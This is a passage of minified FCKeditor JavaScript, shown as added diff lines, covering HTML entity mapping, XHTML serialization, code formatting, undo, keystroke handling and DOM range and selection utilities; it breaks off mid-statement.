+var FCKXHtmlEntities={};FCKXHtmlEntities.Initialize=function(){if (FCKXHtmlEntities.Entities) return;var A='';var B,e;if (FCKConfig.ProcessHTMLEntities){FCKXHtmlEntities.Entities={' ':'nbsp','¡':'iexcl','¢':'cent','£':'pound','¤':'curren','¥':'yen','¦':'brvbar','§':'sect','¨':'uml','©':'copy','ª':'ordf','«':'laquo','¬':'not','­':'shy','®':'reg','¯':'macr','°':'deg','±':'plusmn','²':'sup2','³':'sup3','´':'acute','µ':'micro','¶':'para','·':'middot','¸':'cedil','¹':'sup1','º':'ordm','»':'raquo','¼':'frac14','½':'frac12','¾':'frac34','¿':'iquest','×':'times','÷':'divide','ƒ':'fnof','•':'bull','…':'hellip','′':'prime','″':'Prime','‾':'oline','⁄':'frasl','℘':'weierp','ℑ':'image','ℜ':'real','™':'trade','ℵ':'alefsym','←':'larr','↑':'uarr','→':'rarr','↓':'darr','↔':'harr','↵':'crarr','⇐':'lArr','⇑':'uArr','⇒':'rArr','⇓':'dArr','⇔':'hArr','∀':'forall','∂':'part','∃':'exist','∅':'empty','∇':'nabla','∈':'isin','∉':'notin','∋':'ni','∏':'prod','∑':'sum','−':'minus','∗':'lowast','√':'radic','∝':'prop','∞':'infin','∠':'ang','∧':'and','∨':'or','∩':'cap','∪':'cup','∫':'int','∴':'there4','∼':'sim','≅':'cong','≈':'asymp','≠':'ne','≡':'equiv','≤':'le','≥':'ge','⊂':'sub','⊃':'sup','⊄':'nsub','⊆':'sube','⊇':'supe','⊕':'oplus','⊗':'otimes','⊥':'perp','⋅':'sdot','◊':'loz','♠':'spades','♣':'clubs','♥':'hearts','♦':'diams','"':'quot','ˆ':'circ','˜':'tilde',' ':'ensp',' ':'emsp',' ':'thinsp','‌':'zwnj','‍':'zwj','‎':'lrm','‏':'rlm','–':'ndash','—':'mdash','‘':'lsquo','’':'rsquo','‚':'sbquo','“':'ldquo','”':'rdquo','„':'bdquo','†':'dagger','‡':'Dagger','‰':'permil','‹':'lsaquo','›':'rsaquo','€':'euro'};for (e in FCKXHtmlEntities.Entities) A+=e;if (FCKConfig.IncludeLatinEntities){B={'À':'Agrave','Á':'Aacute','Â':'Acirc','Ã':'Atilde','Ä':'Auml','Å':'Aring','Æ':'AElig','Ç':'Ccedil','È':'Egrave','É':'Eacute','Ê':'Ecirc','Ë':'Euml','Ì':'Igrave','Í':'Iacute','Î':'Icirc','Ï':'Iuml','Ð':'ETH','Ñ':'Ntilde','Ò':'Ograve','Ó':'Oacute','Ô':'Ocirc','Õ':'Otilde','Ö':'Ouml','Ø':'Oslash','Ù':'Ugrave','Ú':'Uacute','Û':'Ucirc','Ü':'Uuml','Ý':'Yacute','Þ':'THORN','ß':'szlig','à':'agrave','á':'aacute','â':'acirc','ã':'atilde','ä':'auml','å':'aring','æ':'aelig','ç':'ccedil','è':'egrave','é':'eacute','ê':'ecirc','ë':'euml','ì':'igrave','í':'iacute','î':'icirc','ï':'iuml','ð':'eth','ñ':'ntilde','ò':'ograve','ó':'oacute','ô':'ocirc','õ':'otilde','ö':'ouml','ø':'oslash','ù':'ugrave','ú':'uacute','û':'ucirc','ü':'uuml','ý':'yacute','þ':'thorn','ÿ':'yuml','Œ':'OElig','œ':'oelig','Š':'Scaron','š':'scaron','Ÿ':'Yuml'};for (e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;};if (FCKConfig.IncludeGreekEntities){B={'Α':'Alpha','Β':'Beta','Γ':'Gamma','Δ':'Delta','Ε':'Epsilon','Ζ':'Zeta','Η':'Eta','Θ':'Theta','Ι':'Iota','Κ':'Kappa','Λ':'Lambda','Μ':'Mu','Ν':'Nu','Ξ':'Xi','Ο':'Omicron','Π':'Pi','Ρ':'Rho','Σ':'Sigma','Τ':'Tau','Υ':'Upsilon','Φ':'Phi','Χ':'Chi','Ψ':'Psi','Ω':'Omega','α':'alpha','β':'beta','γ':'gamma','δ':'delta','ε':'epsilon','ζ':'zeta','η':'eta','θ':'theta','ι':'iota','κ':'kappa','λ':'lambda','μ':'mu','ν':'nu','ξ':'xi','ο':'omicron','π':'pi','ρ':'rho','ς':'sigmaf','σ':'sigma','τ':'tau','υ':'upsilon','φ':'phi','χ':'chi','ψ':'psi','ω':'omega'};for (e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;}}else{FCKXHtmlEntities.Entities={};A=' ';};var C='['+A+']';if (FCKConfig.ProcessNumericEntities) C='[^ -~]|'+C;var D=FCKConfig.AdditionalNumericEntities;if (D&&D.length>0) C+='|'+FCKConfig.AdditionalNumericEntities;FCKXHtmlEntities.EntitiesRegex=new RegExp(C,'g');}
+var FCKXHtml={};FCKXHtml.CurrentJobNum=0;FCKXHtml.GetXHTML=function(A,B,C){FCKXHtmlEntities.Initialize();var D=FCK.IsDirty();this._CreateNode=FCKConfig.ForceStrongEm?FCKXHtml_CreateNode_StrongEm:FCKXHtml_CreateNode_Normal;FCKXHtml.SpecialBlocks=[];this.XML=FCKTools.CreateXmlObject('DOMDocument');this.MainNode=this.XML.appendChild(this.XML.createElement('xhtml'));FCKXHtml.CurrentJobNum++;if (B) this._AppendNode(this.MainNode,A);else this._AppendChildNodes(this.MainNode,A,false);var E=this._GetMainXmlString();this.XML=null;E=E.substr(7,E.length-15).Trim();if (FCKBrowserInfo.IsGecko) E=E.replace(/<br\/>$/,'');E=E.replace(FCKRegexLib.SpaceNoClose,' />');if (FCKConfig.ForceSimpleAmpersand) E=E.replace(FCKRegexLib.ForceSimpleAmpersand,'&');if (C) E=FCKCodeFormatter.Format(E);for (var i=0;i<FCKXHtml.SpecialBlocks.length;i++){var F=new RegExp('___FCKsi___'+i);E=E.replace(F,FCKXHtml.SpecialBlocks[i]);};E=E.replace(FCKRegexLib.GeckoEntitiesMarker,'&');if (!D) FCK.ResetIsDirty();return E;};FCKXHtml._AppendAttribute=function(A,B,C){try{if (C==undefined||C==null) C='';else if (C.replace){if (FCKConfig.ForceSimpleAmpersand) C=C.replace(/&/g,'___FCKAmp___');C=C.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity);};var D=this.XML.createAttribute(B);D.value=C;A.attributes.setNamedItem(D);}catch (e){}};FCKXHtml._AppendChildNodes=function(A,B,C){if (C) FCKDomTools.TrimNode(B);var D=0;var E=B.firstChild;while (E){if (this._AppendNode(A,E)) D++;E=E.nextSibling;};if (D==0){if (C&&FCKConfig.FillEmptyBlocks){this._AppendEntity(A,'nbsp');return A;};var F=A.nodeName;if (FCKListsLib.InlineChildReqElements[F]) return null;if (!FCKListsLib.EmptyElements[F]) A.appendChild(this.XML.createTextNode(''));};return A;};FCKXHtml._AppendNode=function(A,B){if (!B) return false;switch (B.nodeType){case 1:if (B.getAttribute('_fckfakelement')) return FCKXHtml._AppendNode(A,FCK.GetRealElement(B));if (FCKBrowserInfo.IsGecko&&B.hasAttribute('_moz_editor_bogus_node')) return false;if (B.getAttribute('_fcktemp')) return false;var C=B.tagName.toLowerCase();if (FCKBrowserInfo.IsIE){if (B.scopeName&&B.scopeName!='HTML'&&B.scopeName!='FCK') C=B.scopeName.toLowerCase()+':'+C;}else{if (C.StartsWith('fck:')) C=C.Remove(0,4);};if (!FCKRegexLib.ElementName.test(C)) return false;if (C=='br'&&(B.getAttribute('type',2)=='_moz'||!B.nextSibling)) return false;if (B._fckxhtmljob&&B._fckxhtmljob==FCKXHtml.CurrentJobNum) return false;var D=this._CreateNode(C);FCKXHtml._AppendAttributes(A,B,D,C);B._fckxhtmljob=FCKXHtml.CurrentJobNum;var E=FCKXHtml.TagProcessors[C];if (E) D=E(D,B,A);else D=this._AppendChildNodes(D,B,Boolean(FCKListsLib.NonEmptyBlockElements[C]));if (!D) break;A.appendChild(D);break;case 3:return this._AppendTextNode(A,B.nodeValue.ReplaceNewLineChars(' '));case 8:if (FCKBrowserInfo.IsIE&&!B.innerHTML) break;try { A.appendChild(this.XML.createComment(B.nodeValue));}catch (e) {/*Do nothing... probably this is a wrong format comment.*/};break;default:A.appendChild(this.XML.createComment("Element not supported - Type: "+B.nodeType+" Name: "+B.nodeName));break;};return true;};function FCKXHtml_CreateNode_StrongEm(A){switch (A){case 'b':A='strong';break;case 'i':A='em';break;};return this.XML.createElement(A);};function FCKXHtml_CreateNode_Normal(A){return this.XML.createElement(A);};FCKXHtml._AppendSpecialItem=function(A){return '___FCKsi___'+FCKXHtml.SpecialBlocks.AddItem(A);};FCKXHtml._AppendEntity=function(A,B){A.appendChild(this.XML.createTextNode('#?-:'+B+';'));};FCKXHtml._AppendTextNode=function(A,B){var C=B.length>0;if (C) A.appendChild(this.XML.createTextNode(B.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity)));return C;};function FCKXHtml_GetEntity(A){var B=FCKXHtmlEntities.Entities[A]||('#'+A.charCodeAt(0));return '#?-:'+B+';';};FCKXHtml._RemoveAttribute=function(A,B,C){var D=A.attributes.getNamedItem(C);if (D&&B.test(D.nodeValue)){var E=D.nodeValue.replace(B,'');if (E.length==0) A.attributes.removeNamedItem(C);else D.nodeValue=E;}};FCKXHtml.TagProcessors={img:function(A,B){if (!A.attributes.getNamedItem('alt')) FCKXHtml._AppendAttribute(A,'alt','');var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'src',C);return A;},a:function(A,B){if (B.innerHTML.Trim().length==0&&!B.name) return false;var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'href',C);if (FCKBrowserInfo.IsIE){FCKXHtml._RemoveAttribute(A,FCKRegexLib.FCK_Class,'class');if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);};FCKXHtml._AppendChildNodes(A,B,false);return A;},script:function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/javascript');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.text)));return A;},style:function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/css');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.innerHTML)));return A;},title:function(A,B){A.appendChild(FCKXHtml.XML.createTextNode(FCK.EditorDocument.title));return A;},table:function(A,B){if (FCKBrowserInfo.IsIE) FCKXHtml._RemoveAttribute(A,FCKRegexLib.FCK_Class,'class');FCKXHtml._AppendChildNodes(A,B,false);return A;},ol:function(A,B,C){if (B.innerHTML.Trim().length==0) return false;var D=C.lastChild;if (D&&D.nodeType==3) D=D.previousSibling;if (D&&D.nodeName.toUpperCase()=='LI'){B._fckxhtmljob=null;FCKXHtml._AppendNode(D,B);return false;};FCKXHtml._AppendChildNodes(A,B);return A;},span:function(A,B){if (B.innerHTML.length==0) return false;FCKXHtml._AppendChildNodes(A,B,false);return A;}};FCKXHtml.TagProcessors.ul=FCKXHtml.TagProcessors.ol;
+FCKXHtml._GetMainXmlString=function(){return this.MainNode.xml;};FCKXHtml._AppendAttributes=function(A,B,C,D){var E=B.attributes;for (var n=0;n<E.length;n++){var F=E[n];if (F.specified){var G=F.nodeName.toLowerCase();var H;if (G.StartsWith('_fck')) continue;else if (G=='style') H=B.style.cssText.replace(FCKRegexLib.StyleProperties,FCKTools.ToLowerCase);else if (G=='class'||G.indexOf('on')==0) H=F.nodeValue;else if (D=='body'&&G=='contenteditable') continue;else if (F.nodeValue===true) H=G;else{try{H=B.getAttribute(G,2);}catch (e) {}};this._AppendAttribute(C,G,H||F.nodeValue);}}};FCKXHtml.TagProcessors['meta']=function(A,B){var C=A.attributes.getNamedItem('http-equiv');if (C==null||C.value.length==0){var D=B.outerHTML.match(FCKRegexLib.MetaHttpEquiv);if (D){D=D[1];FCKXHtml._AppendAttribute(A,'http-equiv',D);}};return A;};FCKXHtml.TagProcessors['font']=function(A,B){if (A.attributes.length==0) A=FCKXHtml.XML.createDocumentFragment();FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['input']=function(A,B){if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);if (B.value&&!A.attributes.getNamedItem('value')) FCKXHtml._AppendAttribute(A,'value',B.value);if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text');return A;};FCKXHtml.TagProcessors['option']=function(A,B){if (B.selected&&!A.attributes.getNamedItem('selected')) FCKXHtml._AppendAttribute(A,'selected','selected');FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['area']=function(A,B){if (!A.attributes.getNamedItem('coords')){var C=B.getAttribute('coords',2);if (C&&C!='0,0,0') FCKXHtml._AppendAttribute(A,'coords',C);};if (!A.attributes.getNamedItem('shape')){var D=B.getAttribute('shape',2);if (D&&D.length>0) FCKXHtml._AppendAttribute(A,'shape',D);};return A;};FCKXHtml.TagProcessors['label']=function(A,B){if (B.htmlFor.length>0) FCKXHtml._AppendAttribute(A,'for',B.htmlFor);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['form']=function(A,B){if (B.acceptCharset&&B.acceptCharset.length>0&&B.acceptCharset!='UNKNOWN') FCKXHtml._AppendAttribute(A,'accept-charset',B.acceptCharset);if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['textarea']=FCKXHtml.TagProcessors['select']=function(A,B){if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['div']=function(A,B){if (B.align.length>0) FCKXHtml._AppendAttribute(A,'align',B.align);FCKXHtml._AppendChildNodes(A,B,true);return A;}
+var FCKCodeFormatter={};FCKCodeFormatter.Init=function(){var A=this.Regex={};A.BlocksOpener=/\<(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.BlocksCloser=/\<\/(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.NewLineTags=/\<(BR|HR)[^\>]*\>/gi;A.MainTags=/\<\/?(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR)[^\>]*\>/gi;A.LineSplitter=/\s*\n+\s*/g;A.IncreaseIndent=/^\<(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \/\>]/i;A.DecreaseIndent=/^\<\/(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \>]/i;A.FormatIndentatorRemove=new RegExp('^'+FCKConfig.FormatIndentator);A.ProtectedTags=/(<PRE[^>]*>)([\s\S]*?)(<\/PRE>)/gi;};FCKCodeFormatter._ProtectData=function(A,B,C,D){return B+'___FCKpd___'+FCKCodeFormatter.ProtectedData.AddItem(C)+D;};FCKCodeFormatter.Format=function(A){if (!this.Regex) this.Init();FCKCodeFormatter.ProtectedData=[];var B=A.replace(this.Regex.ProtectedTags,FCKCodeFormatter._ProtectData);B=B.replace(this.Regex.BlocksOpener,'\n$&');B=B.replace(this.Regex.BlocksCloser,'$&\n');B=B.replace(this.Regex.NewLineTags,'$&\n');B=B.replace(this.Regex.MainTags,'\n$&\n');var C='';var D=B.split(this.Regex.LineSplitter);B='';for (var i=0;i<D.length;i++){var E=D[i];if (E.length==0) continue;if (this.Regex.DecreaseIndent.test(E)) C=C.replace(this.Regex.FormatIndentatorRemove,'');B+=C+E+'\n';if (this.Regex.IncreaseIndent.test(E)) C+=FCKConfig.FormatIndentator;};for (var j=0;j<FCKCodeFormatter.ProtectedData.length;j++){var F=new RegExp('___FCKpd___'+j);B=B.replace(F,FCKCodeFormatter.ProtectedData[j].replace(/\$/g,'$$$$'));};return B.Trim();}
+var FCKUndo={};FCKUndo.SavedData=[];FCKUndo.CurrentIndex=-1;FCKUndo.TypesCount=FCKUndo.MaxTypes=25;FCKUndo.Typing=false;FCKUndo.SaveUndoStep=function(){if (FCK.EditMode!=0) return;FCKUndo.SavedData=FCKUndo.SavedData.slice(0,FCKUndo.CurrentIndex+1);var A=FCK.EditorDocument.body.innerHTML;if (FCKUndo.CurrentIndex>=0&&A==FCKUndo.SavedData[FCKUndo.CurrentIndex][0]) return;if (FCKUndo.CurrentIndex+1>=FCKConfig.MaxUndoLevels) FCKUndo.SavedData.shift();else FCKUndo.CurrentIndex++;var B;if (FCK.EditorDocument.selection.type=='Text') B=FCK.EditorDocument.selection.createRange().getBookmark();FCKUndo.SavedData[FCKUndo.CurrentIndex]=[A,B];FCK.Events.FireEvent("OnSelectionChange");};FCKUndo.CheckUndoState=function(){return (FCKUndo.Typing||FCKUndo.CurrentIndex>0);};FCKUndo.CheckRedoState=function(){return (!FCKUndo.Typing&&FCKUndo.CurrentIndex<(FCKUndo.SavedData.length-1));};FCKUndo.Undo=function(){if (FCKUndo.CheckUndoState()){if (FCKUndo.CurrentIndex==(FCKUndo.SavedData.length-1)){FCKUndo.SaveUndoStep();};FCKUndo._ApplyUndoLevel(--FCKUndo.CurrentIndex);FCK.Events.FireEvent("OnSelectionChange");}};FCKUndo.Redo=function(){if (FCKUndo.CheckRedoState()){FCKUndo._ApplyUndoLevel(++FCKUndo.CurrentIndex);FCK.Events.FireEvent("OnSelectionChange");}};FCKUndo._ApplyUndoLevel=function(A){var B=FCKUndo.SavedData[A];if (!B) return;FCK.SetInnerHtml(B[0]);if (B[1]){var C=FCK.EditorDocument.selection.createRange();C.moveToBookmark(B[1]);C.select();};FCKUndo.TypesCount=0;FCKUndo.Typing=false;}
+var FCKEditingArea=function(A){this.TargetElement=A;this.Mode=0;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKEditingArea_Cleanup);};FCKEditingArea.prototype.Start=function(A,B){var C=this.TargetElement;var D=FCKTools.GetElementDocument(C);while(C.childNodes.length>0) C.removeChild(C.childNodes[0]);if (this.Mode==0){var E=this.IFrame=D.createElement('iframe');E.src='javascript:void(0)';E.frameBorder=0;E.width=E.height='100%';C.appendChild(E);if (FCKBrowserInfo.IsIE) A=A.replace(/(<base[^>]*?)\s*\/?>(?!\s*<\/base>)/gi,'$1></base>');else if (!B){if (FCKBrowserInfo.IsGecko) A=A.replace(/(<body[^>]*>)\s*(<\/body>)/i,'$1'+GECKO_BOGUS+'$2');var F=A.match(FCKRegexLib.BodyContents);if (F){A=F[1]+'&nbsp;'+F[3];this._BodyHTML=F[2];}else this._BodyHTML=A;};this.Window=E.contentWindow;var G=this.Document=this.Window.document;G.open();G.write(A);G.close();if (FCKBrowserInfo.IsGecko10&&!B){this.Start(A,true);return;};this.Window._FCKEditingArea=this;if (FCKBrowserInfo.IsGecko10) this.Window.setTimeout(FCKEditingArea_CompleteStart,500);else FCKEditingArea_CompleteStart.call(this.Window);}else{var H=this.Textarea=D.createElement('textarea');H.className='SourceField';H.dir='ltr';H.style.width=H.style.height='100%';H.style.border='none';C.appendChild(H);H.value=A;FCKTools.RunFunction(this.OnLoad);}};function FCKEditingArea_CompleteStart(){if (!this.document.body){this.setTimeout(FCKEditingArea_CompleteStart,50);return;};var A=this._FCKEditingArea;A.MakeEditable();FCKTools.RunFunction(A.OnLoad);};FCKEditingArea.prototype.MakeEditable=function(){var A=this.Document;if (FCKBrowserInfo.IsIE){A.body.contentEditable=true;}else{try{A.body.spellcheck=(this.FFSpellChecker!==false);if (this._BodyHTML){A.body.innerHTML=this._BodyHTML;this._BodyHTML=null;};A.designMode='on';try{A.execCommand('styleWithCSS',false,FCKConfig.GeckoUseSPAN);}catch (e){A.execCommand('useCSS',false,!FCKConfig.GeckoUseSPAN);};A.execCommand('enableObjectResizing',false,!FCKConfig.DisableObjectResizing);A.execCommand('enableInlineTableEditing',false,!FCKConfig.DisableFFTableHandles);}catch (e) {}}};FCKEditingArea.prototype.Focus=function(){try{if (this.Mode==0){if (FCKBrowserInfo.IsIE&&this.Document.hasFocus()) return;if (FCKBrowserInfo.IsSafari) this.IFrame.focus();else{this.Window.focus();}}else{var A=FCKTools.GetElementDocument(this.Textarea);if ((!A.hasFocus||A.hasFocus())&&A.activeElement==this.Textarea) return;this.Textarea.focus();}}catch(e) {}};function FCKEditingArea_Cleanup(){this.TargetElement=null;this.IFrame=null;this.Document=null;this.Textarea=null;if (this.Window){this.Window._FCKEditingArea=null;this.Window=null;}}
+var FCKKeystrokeHandler=function(A){this.Keystrokes={};this.CancelCtrlDefaults=(A!==false);};FCKKeystrokeHandler.prototype.AttachToElement=function(A){FCKTools.AddEventListenerEx(A,'keydown',_FCKKeystrokeHandler_OnKeyDown,this);if (FCKBrowserInfo.IsGecko10||FCKBrowserInfo.IsOpera||(FCKBrowserInfo.IsGecko&&FCKBrowserInfo.IsMac)) FCKTools.AddEventListenerEx(A,'keypress',_FCKKeystrokeHandler_OnKeyPress,this);};FCKKeystrokeHandler.prototype.SetKeystrokes=function(){for (var i=0;i<arguments.length;i++){var A=arguments[i];if (typeof(A[0])=='object') this.SetKeystrokes.apply(this,A);else{if (A.length==1) delete this.Keystrokes[A[0]];else this.Keystrokes[A[0]]=A[1]===true?true:A;}}};function _FCKKeystrokeHandler_OnKeyDown(A,B){var C=A.keyCode||A.which;var D=0;if (A.ctrlKey||A.metaKey) D+=CTRL;if (A.shiftKey) D+=SHIFT;if (A.altKey) D+=ALT;var E=C+D;var F=B._CancelIt=false;var G=B.Keystrokes[E];if (G){if (G===true||!(B.OnKeystroke&&B.OnKeystroke.apply(B,G))) return true;F=true;};if (F||(B.CancelCtrlDefaults&&D==CTRL&&(C<33||C>40))){B._CancelIt=true;if (A.preventDefault) return A.preventDefault();A.returnValue=false;A.cancelBubble=true;return false;};return true;};function _FCKKeystrokeHandler_OnKeyPress(A,B){if (B._CancelIt){if (A.preventDefault) return A.preventDefault();return false;};return true;}
+var FCKListHandler={OutdentListItem:function(A){var B=A.parentNode;if (B.tagName.toUpperCase().Equals('UL','OL')){var C=FCKTools.GetElementDocument(A);var D=new FCKDocumentFragment(C);var E=D.RootNode;var F=false;var G=FCKDomTools.GetFirstChild(A,['UL','OL']);if (G){F=true;var H;while ((H=G.firstChild)) E.appendChild(G.removeChild(H));FCKDomTools.RemoveNode(G);};var I;var J=false;while ((I=A.nextSibling)){if (!F&&I.nodeType==1&&I.nodeName.toUpperCase()=='LI') J=F=true;E.appendChild(I.parentNode.removeChild(I));if (!J&&I.nodeType==1&&I.nodeName.toUpperCase().Equals('UL','OL')) FCKDomTools.RemoveNode(I,true);};var K=B.parentNode.tagName.toUpperCase();var L=(K=='LI');if (L||K.Equals('UL','OL')){if (F){var G=B.cloneNode(false);D.AppendTo(G);A.appendChild(G);}else if (L) D.InsertAfterNode(B.parentNode);else D.InsertAfterNode(B);if (L) FCKDomTools.InsertAfterNode(B.parentNode,B.removeChild(A));else FCKDomTools.InsertAfterNode(B,B.removeChild(A));}else{if (F){var N=B.cloneNode(false);D.AppendTo(N);FCKDomTools.InsertAfterNode(B,N);};var O=C.createElement('p');FCKDomTools.MoveChildren(B.removeChild(A),O);FCKDomTools.InsertAfterNode(B,O);A=O;};if (this.CheckEmptyList(B)) FCKDomTools.RemoveNode(B,true);};return A;},CheckEmptyList:function(A){return (FCKDomTools.GetFirstChild(A,'LI')==null);},CheckListHasContents:function(A){var B=A.firstChild;while (B){switch (B.nodeType){case 1:if (!B.nodeName.IEquals('UL','LI')) return true;break;case 3:if (B.nodeValue.Trim().length>0) return true;};B=B.nextSibling;};return false;}};
+var FCKElementPath=function(A){var B=null;var C=null;var D=[];var e=A;while (e){if (e.nodeType==1){if (!this.LastElement) this.LastElement=e;var E=e.nodeName.toLowerCase();if (!C&&!B&&FCKListsLib.PathBlockElements[E]!=null) B=e;if (!C&&(/^(?:body|td|th|caption|form)$/).test(E)) C=e;D.push(e);if (E=='BODY') break;};e=e.parentNode;};this.Block=B;this.BlockLimit=C;this.Elements=D;};
+var FCKDomRange=function(A){this.Window=A;};FCKDomRange.prototype={_UpdateElementInfo:function(){if (!this._Range) this.Release(true);else{var A=this._Range.startContainer;var B=this._Range.endContainer;var C=new FCKElementPath(A);this.StartContainer=C.LastElement;this.StartBlock=C.Block;this.StartBlockLimit=C.BlockLimit;if (A!=B) C=new FCKElementPath(B);this.EndContainer=C.LastElement;this.EndBlock=C.Block;this.EndBlockLimit=C.BlockLimit;}},CreateRange:function(){return new FCKW3CRange(this.Window.document);},DeleteContents:function(){if (this._Range){this._Range.deleteContents();this._UpdateElementInfo();}},ExtractContents:function(){if (this._Range){var A=this._Range.extractContents();this._UpdateElementInfo();return A;}},CheckIsCollapsed:function(){if (this._Range) return this._Range.collapsed;},Collapse:function(A){if (this._Range) this._Range.collapse(A);this._UpdateElementInfo();},Clone:function(){var A=FCKTools.CloneObject(this);if (this._Range) A._Range=this._Range.cloneRange();return A;},MoveToNodeContents:function(A){if (!this._Range) this._Range=this.CreateRange();this._Range.selectNodeContents(A);this._UpdateElementInfo();},MoveToElementStart:function(A){this.SetStart(A,1);this.SetEnd(A,1);},InsertNode:function(A){if (this._Range) this._Range.insertNode(A);},CheckIsEmpty:function(A){if (this.CheckIsCollapsed()) return true;var B=this.Window.document.createElement('div');this._Range.cloneContents().AppendTo(B);FCKDomTools.TrimNode(B,A);return (B.innerHTML.length==0);},CheckStartOfBlock:function(){var A=this.Clone();A.Collapse(true);A.SetStart(A.StartBlock||A.StartBlockLimit,1);var B=A.CheckIsEmpty();A.Release();return B;},CheckEndOfBlock:function(A){var B=this.Clone();B.Collapse(false);B.SetEnd(B.EndBlock||B.EndBlockLimit,2);var C=B.CheckIsEmpty(true);B.Release();if (A) this.Select();return C;},CreateBookmark:function(){var A={StartId:'fck_dom_range_start_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000),EndId:'fck_dom_range_end_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000)};var B=this.Window.document;var C;var D;if (!this.CheckIsCollapsed()){C=B.createElement('span');C.id=A.EndId;C.innerHTML='&nbsp;';D=this.Clone();D.Collapse(false);D.InsertNode(C);};C=B.createElement('span');C.id=A.StartId;C.innerHTML='&nbsp;';D=this.Clone();D.Collapse(true);D.InsertNode(C);return A;},MoveToBookmark:function(A,B){var C=this.Window.document;var D=C.getElementById(A.StartId);var E=C.getElementById(A.EndId);this.SetStart(D,3);if (!B) FCKDomTools.RemoveNode(D);if (E){this.SetEnd(E,3);if (!B) FCKDomTools.RemoveNode(E);}else this.Collapse(true);},SetStart:function(A,B){var C=this._Range;if (!C) C=this._Range=this.CreateRange();switch(B){case 1:C.setStart(A,0);break;case 2:C.setStart(A,A.childNodes.length);break;case 3:C.setStartBefore(A);break;case 4:C.setStartAfter(A);};this._UpdateElementInfo();},SetEnd:function(A,B){var C=this._Range;if (!C) C=this._Range=this.CreateRange();switch(B){case 1:C.setEnd(A,0);break;case 2:C.setEnd(A,A.childNodes.length);break;case 3:C.setEndBefore(A);break;case 4:C.setEndAfter(A);};this._UpdateElementInfo();},Expand:function(A){var B,oSibling;switch (A){case 'block_contents':if (this.StartBlock) this.SetStart(this.StartBlock,1);else{B=this._Range.startContainer;if (B.nodeType==1){if (!(B=B.childNodes[this._Range.startOffset])) B=B.firstChild;};if (!B) return;while (true){oSibling=B.previousSibling;if (!oSibling){if (B.parentNode!=this.StartBlockLimit) B=B.parentNode;else break;}else if (oSibling.nodeType!=1||!(/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|DT|DE)$/).test(oSibling.nodeName.toUpperCase())){B=oSibling;}else break;};this._Range.setStartBefore(B);};if (this.EndBlock) this.SetEnd(this.EndBlock,2);else{B=this._Range.endContainer;if (B.nodeType==1) B=B.childNodes[this._Range.endOffset]||B.lastChild;if (!B) return;while (true){oSibling=B.nextSibling;if (!oSibling){if (B.parentNode!=this.EndBlockLimit) B=B.parentNode;else break;}else if (oSibling.nodeType!=1||!(/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|DT|DE)$/).test(oSibling.nodeName.toUpperCase())){B=oSibling;}else break;};this._Range.setEndAfter(B);};this._UpdateElementInfo();}},Release:function(A){if (!A) this.Window=null;this.StartContainer=null;this.StartBlock=null;this.StartBlockLimit=null;this.EndContainer=null;this.EndBlock=null;this.EndBlockLimit=null;this._Range=null;}};
+FCKDomRange.prototype.MoveToSelection=function(){this.Release(true);this._Range=new FCKW3CRange(this.Window.document);var A=this.Window.document.selection;if (A.type!='Control'){B=this._GetSelectionMarkerTag(true);this._Range.setStart(B.parentNode,FCKDomTools.GetIndexOf(B));B.parentNode.removeChild(B);var B=this._GetSelectionMarkerTag(false);this._Range.setEnd(B.parentNode,FCKDomTools.GetIndexOf(B));B.parentNode.removeChild(B);this._UpdateElementInfo();}else{var C=A.createRange().item(0);if (C){this._Range.setStartBefore(C);this._Range.setEndAfter(C);this._UpdateElementInfo();}}};FCKDomRange.prototype.Select=function(){if (this._Range){var A=this.CheckIsCollapsed();var B=this._GetRangeMarkerTag(true);if (!A) var C=this._GetRangeMarkerTag(false);var D=this.Window.document.body.createTextRange();D.moveToElementText(B);D.moveStart('character',1);if (!A){var E=this.Window.document.body.createTextRange();E.moveToElementText(C);D.setEndPoint('EndToEnd',E);D.moveEnd('character',-1);};this._Range.setStartBefore(B);B.parentNode.removeChild(B);if (A){try{D.pasteHTML('&nbsp;');D.moveStart('character',-1);}catch (e){};D.select();D.pasteHTML('');}else{this._Range.setEndBefore(C);C.parentNode.removeChild(C);D.select();}}};FCKDomRange.prototype._GetSelectionMarkerTag=function(A){var B=this.Window.document.selection.createRange();B.collapse(A===true);var 